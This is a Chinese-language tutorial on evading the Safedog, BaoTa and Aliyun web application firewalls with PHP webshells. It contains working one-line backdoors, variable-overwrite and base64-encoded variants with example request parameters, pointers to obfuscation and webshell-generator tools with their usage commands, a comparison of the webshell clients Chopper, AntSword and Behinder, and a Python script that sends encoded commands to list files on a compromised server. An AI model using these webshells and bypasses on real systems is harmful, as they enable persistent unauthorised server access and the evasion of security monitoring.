目录
- Safedog代码层手写及脚本绕过
- BT Aliyun代码层手写及脚本绕过
- safedog,BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层
- Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层
- Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层
- 涉及资源:
权限得到之后,我们要做很多事情,比如权限上面的读文件、写文件、查看相关的东西,如果对方有部署WAF的话,也会对这些东西进行拦截,那么它拦截的层面也不是单纯的一个方面
网站后门跟我们的杀毒软件一样的,一个文件下载到本地之后,杀毒软件会对它进行检测,就是有没有病毒,有没有木马,除了这些之外,如果这个文件没有行为上的敏感,比如这个文件打开之后,要获取到什么东西、得到什么东西,这个时候杀毒软件也会有相应的拦截和警告,监控到这个程序有进行异常的敏感操作,那么同样waf这个产品在市面上也会达到这个功效,它能监控到后门有没有进行后续的敏感操作,那么这些敏感操作它也会进行拦截,同样的代码要做的操作也会受到监控,所以我们绕过是要从多方面去考虑这个问题的,我们称之为代码绕过和行为绕过
实现我们要确保后门代码不要被查杀到,认定为后门,其实就是你代码要做的事情,比如进行文件读取,文件操作,这个操作也会对waf进行监控,这个操作也要进行相应的绕过,才能实现最终的目的,因为我们最终的目的是通过后门达到文件读取、文件执行这些操作,而且这些操作,你也一定要进行绕过,这个就是真正意义上的绕过
代码有区分各种脚本类型,脚本语言开发环境的一些常见后门,你还要熟悉各种语言上面的东西
比如我们使用菜刀去连接后门,即使是你没有行为上的动作,代码也是一个很正常的代码,免杀的代码,是它检测不到的代码,由于你用到的工具是菜刀,菜刀它上面有些特征,waf上面有记录这些特征,它也会对它进行拦截,所以它不仅有代码还有行为工具的特征,如果你使用工具去连接后门的话,那么同样也会受到工具上的限制,权限控制要想实现真正意义上的绕过,是多方面的问题,也是我们最直接的一个层面
waf绕过就是不断地去测试,它也没有界面,有没有什么参考的东西,就是不断地测试
不同的脚本绕过WAF的思路是通用的,代码的写法和函数不一样而已,无关紧要
Safedog代码层手写及脚本绕过
变量覆盖,加密混淆,异或生成
我们要先确保代码层面能够绕过,确定之后,我们再做下一步,不是说你代码绕过你就是绕过了,代码只是第一要素
PHP:
<?php @eval($_POST['chopper']);?>
一句话木马:<?php assert($_POST['chopper']);?>
这里为什么不用eval,因为eval被监控的比较厉害,第二个原因eval是自然函数,要调用eval用普通的变量调用不出来,比如说assert我们可以赋值给变量b,然后在以变量b括起来$_POST[‘chopper’]);,然后这个代码能执行,但是如果你用eval赋值给一个变量,然后再写进来就不行,我们选择assert因为它可变化性强,而且它能取得eval关键很敏感的函数
我们利用变量覆盖的思路,就是把原始变量进行覆盖,然后利用参数进行传递
变量覆盖:通过把敏感字符写到访问地址的参数上去,waf它能够检测代码,但是它无法控制你输入的参数,从而绕过WAF:
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>
可以绕过safedog查杀
传参:?x=b&y=assert
$a=b $$a=assert=$b 最终结果是assert($_POST['z']);
我们代码写完之后,还需要确定一下是否能执行,这样才是成功的绕过WAF
BT Aliyun代码层手写及脚本绕过
编码解码(变量覆盖,加密混淆,异或生成)
现在我们的服务器上启动阿里防火墙和宝塔,我们发现就被拦截了
我们通过查看宝塔的防护日志,发现是宝塔拦截的,风险值是phpinfo(
我们可以使用编码解码进行绕过,通过加密的方式进行传输
一句话木马:<br><?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>
上传成功后,
访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
并且(可以用hackbar插件)
postdata:z=cGhwaW5mbygpOw==
出现结果没有拦截,这个就是命中phpinfo规则,称之为手写的变量覆盖
除此之外,加密混淆也能达到这个功能,我们使用下面的代码来进行加密混淆,因为宝塔有加密传输,我们必须这样写,最终结果是要放到本地服务器上测试,不是我本地安全狗通过测试就完事了,上面还有阿里云,我们以这个为准
<?php assert(base64_decode($_POST['x']));?>
让代码看上去更加复杂难懂,这些设置可以调节复杂难度
https://github.com/djunny/enphp
直接用php.exe执行命令
代码混淆完之后,就变成这样子了
安全狗扫描一下,发现正常
执行非常稳
工具加密会比较复杂,我们可以使用在线加密:https://www.phpjiami.com/phpjiami.html
它打乱了规则把里面搞成乱码,安全狗就识别不了,而且他们加密是不可逆的,除非有对应代码解密
你没有这些信息是不可能得到这些源代码的
这里利用接口进行加密
直接执行,刷新了,没有任何问题,因为加密程度越高的话,它还原不了,还原不了,他就无法确定真实代码,确定不了只能放行,他不能误报,他要准确率的
safedog,BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层
venom:支持生成asp、aspx、jsp、php等一句话免杀木马
地址:https://gitee.com/Dyan_code/webshell-venom?_from=gitee_search
使用方法:python3 php_venom_3.3.py //生成免杀一句话
python3 php_venom_3.3.py shell.php //对同目录下shell.php进行免杀处理,结果保存到shell.php.bypass.php
基本上是通杀
使用说明:
是否传入id参数决定是否把流量编码
http://www.xxx.com/shell.php
POST: mr6=phpinfo(); //与普通shell相同
我不能直接利用无参数传递的,因为我要绕过宝塔
http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo= //payload的base64编码
这个就是异或生成,利用别人写好的脚本,结合了反序列化,以这种形式的东西来取代关键字字符,从而绕过WAF
这个是针对蚁剑版本的,用它生成的项目可以直接支持蚁剑的连接,蚁剑的后门代码和菜刀的原型代码是一样的,基本上两个都是通用的
https://github.com/yzddmr6/as_webshell_venom
蚁剑上的加密跟异或加密是一样的,但是原理不清楚,也没什么价值,我们讲的是注重原理上的讲
Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层
我们这里使用蚁剑去连接我们前面上传上去的木马,发现连接失败,因为木马的这个写法和工具自身在工具产生原理上面有问题,所以我们只能采用它原型一句话加密
这个木马会对响应的内容进行解码,所以我们在蚁剑上要对请求内容进行编码,这样子蚁剑才能连接后门成功
这里用菜刀去连接不行,因为菜刀连接不了,没有这个功能
这个是三款工具的优缺点,我们学它的优缺点,就是要知道这些工具的原理和它比较有优势的地方
菜刀,蚁剑,冰蝎优缺点
菜刀: 未更新状态,无插件,单向加密传输,打5分,不建议使用
蚁剑: 更新状态,有插件,拓展性强,单向加密传输,打8分
冰蝎: 更新状态,未知插件,双向加密传输,拓展性强,偏向于后渗透,可以联动msf,打分9分,推荐使用
冰蝎双向加密传输原理:
菜刀在传输数据的时候,发送你的攻击代码,通过目标服务器返回给你
冰蝎是发送的时候已经加密了,目标服务器返回的代码也是加密的,就是双向加密,这样做的好处在于waf或杀毒软件在判断你行为进程的时候,不识别
我们先用菜刀连接后门
看一下菜刀的数据包
我们访问一下数据包,看一下页面信息
这个结果跟菜刀的页面信息一样,说明返回过来的数据没有加密,这种我们叫单向加密
我们看一下冰蝎
看一下双向加密的,请求是加密的,结果是乱码的
冰蝎在接收到数据本身的时候,再把加密的结果还原成我们看到的东西,这是它的好处,虽然说看上去对WAF拦截没有太大作用,但是至少冰蝎在监控流量,能让对方能够产生错觉,一时半会不知道是什么东西,在APT攻击中是一个很好的隐藏自己的思路,这个设计是比较超前一点,相对于菜刀、蚁剑来讲
在对后门木马进行命名的时候,不要带关键字
Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层
在用冰蝎进行连接的时候,连接成功,但是文件管理看不了
这个是行为上的问题,就是你的代码被拦截,或者说你的行为被监控到了,我们可以更改工具的指纹,但是由于冰蝎是不开源的,不知道它的核心代码怎么样,我们只能自己写轮子,就不用网上这些工具了
第一种是冰蝎被人标记了黑名单,waf有冰蝎的指纹,你发送数据过去,waf就知道你在搞东西;第二个原因,查看文件管理数据包触发到关键词,然后waf拦截了,我猜测是第二种原因,应该是宝塔拦截的
比如我们现在使用菜刀的数据包去查看文件,发现查看不了
但是我们可以使用自己编写的数据包去查看,然后对请求的内容进行加密
去访问一下,结果出来了,读取文件绕过了
我们使用自己的数据包去实现功能,何必去用工具呢,工具是为了显示属性,写了一大堆的乱七八糟的,我们就是看一下有什么文件,单单写这个代码不就好了,因为这个就是你自己写的数据包
我们这边用脚本写一遍新型控制器
import requests
import base64
url=input("请输入你的后门地址:")
password=input("请输入你的后门密码:")
path={
'z':'dmFyX2R1bXAoc2NhbmRpcignLicpKTs=',
}
result=requests.post(url,data=path).text
print(result)
涉及资源:
enphp:
https://github.com/djunny/enphp
PHP在线加密:
https://www.phpjiami.com/phpjiami.html
as-webshell-venom:https://github.com/yzddmr6/as_webshell_venom
冰蝎(Behinder):https://github.com/rebeyond/Behinder
蚁剑(AntSword):https://github.com/AntSwordProject/antSword
webshell-venom-master:https://pan.baidu.com/s/1msqO2kps139NNP9ZEIAVHw 提取码:xiao